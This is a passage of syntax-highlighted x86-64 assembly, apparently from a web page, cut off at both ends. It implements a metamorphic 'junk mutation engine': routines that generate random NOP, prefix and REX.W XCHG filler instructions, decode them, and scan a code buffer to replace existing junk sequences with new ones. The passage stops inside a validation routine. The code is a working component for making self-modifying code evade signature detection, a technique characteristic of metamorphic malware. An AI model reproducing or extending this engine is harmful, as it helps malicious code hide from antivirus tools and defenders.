&lt;span class="nl"&gt;.r_close:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;
&lt;span class="nl"&gt;.write_er:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; instruction generator&lt;/span&gt;
&lt;span class="nl"&gt;trace_op:&lt;/span&gt;
    &lt;span class="c1"&gt;; bounds check&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.bounds_er&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="c1"&gt;; instruction size check&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.rex_xchg&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.write_prefix&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.write_nop&lt;/span&gt;

&lt;span class="nl"&gt;.bounds_er:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.write_nop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;NOP&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.write_prefix:&lt;/span&gt;
    &lt;span class="c1"&gt;; validate register (0-3 only)&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.bounds_er&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;prefixes&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;              &lt;span class="c1"&gt;; rax,rbx,rcx,rdx only&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.rex_xchg:&lt;/span&gt;
    &lt;span class="c1"&gt;; generate REX.W XCHG&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.bounds_er&lt;/span&gt;

    &lt;span class="c1"&gt;; get different register&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.rex_xchg&lt;/span&gt;            &lt;span class="c1"&gt;; retry if same&lt;/span&gt;

    &lt;span class="c1"&gt;; build REX.W XCHG r1, r2&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;REX_W&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;XCHG_OP&lt;/span&gt;

    &lt;span class="c1"&gt;; ModR/M byte&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;XCHG_BASE&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; instruction decoder&lt;/span&gt;
&lt;span class="nl"&gt;trace_jmp:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;; check for NOP&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;NOP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.ret_1&lt;/span&gt;

    &lt;span class="c1"&gt;; check MOV+reg&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;MOV&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.ret_5&lt;/span&gt;

    &lt;span class="c1"&gt;; check prefix instruction&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;prefixes&lt;/span&gt;
&lt;span class="nl"&gt;.check_prefix:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.check_second_byte&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.check_prefix&lt;/span&gt;

&lt;span class="nl"&gt;.check_second_byte:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;l&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.invalid&lt;/span&gt;

&lt;span class="nl"&gt;.ret_2:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
&lt;span class="nl"&gt;.ret_1:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
&lt;span class="nl"&gt;.ret_5:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
&lt;span class="nl"&gt;.invalid:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; junk mutation engine&lt;/span&gt;
&lt;span class="nl"&gt;replace_junk:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JUNKLEN&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JUNKLEN&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

&lt;span class="nl"&gt;.scan_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="c1"&gt;; scan for junk pattern&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;        &lt;span class="c1"&gt;; rax,rbx,rcx,rdx only&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; second byte must be PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; check REX.W prefix&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;REX_W&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; check XCHG opcode&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;XCHG_OP&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; validate complete sequence&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;validate&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.next_i&lt;/span&gt;

    &lt;span class="c1"&gt;; replace with new junk&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;insert&lt;/span&gt;

&lt;span class="nl"&gt;.next_i:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_loop&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; validate junk pattern&lt;/span&gt;
&lt;span class="nl"&gt;validate:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="c1"&gt;; extract registers from PUSH&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
